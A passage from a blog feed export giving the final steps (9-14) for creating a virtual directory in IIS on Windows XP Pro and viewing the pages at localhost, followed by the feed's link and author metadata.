9. To add a new virtual directory right click on &#39;Default Web Site&#39; and select &#39;New&#39;, followed by &#39;Virtual Directory&#39;, from the drop down list.&lt;br /&gt;
&lt;br /&gt;
10. Next you will see the &#39;Virtual Directory Creation Wizard&#39; from the first screen click the &#39;next&#39; button.&lt;br /&gt;
&lt;br /&gt;
11. You will then be asked to type in an &#39;Alias&#39; by which you will access the virtual directory from your web browser (this is the name you will type into your web browser after &#39;localhost&#39; to view any web pages you place in the directory).&lt;br /&gt;
&lt;br /&gt;
12. Next you will see a &#39;Browse...&#39; button, click on this to select the directory your web site pages are in on your computer, after which click on the &#39;next&#39; button to continue.&lt;br /&gt;
&lt;br /&gt;
13. On the final part of the wizard you will see a series of boxes, if you are not worried about security then select them all, if you are and want to run ASP scripts then check the first two, followed by the &#39;next&#39; button.&lt;br /&gt;
&lt;br /&gt;
14. Once the virtual directory is created you can view the web pages in the folder by typing &#39;http://localhost/aliasName&#39; (where &#39;aliasName&#39; is, place the alias you called the virtual directory) into the address bar of your web browser (you can substitute &#39;localhost&#39; for the name of your computer if you wish).&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;!!!! You are Done !!!! Enjoy Running your Websites over it ;) :)&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/6277045225548882042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/installing-iis-on-win-xp-pro.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6277045225548882042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6277045225548882042'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/09/installing-iis-on-win-xp-pro.html' title='Installing IIS On Win XP Pro'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><thr:total>0</thr:total></entry></feed>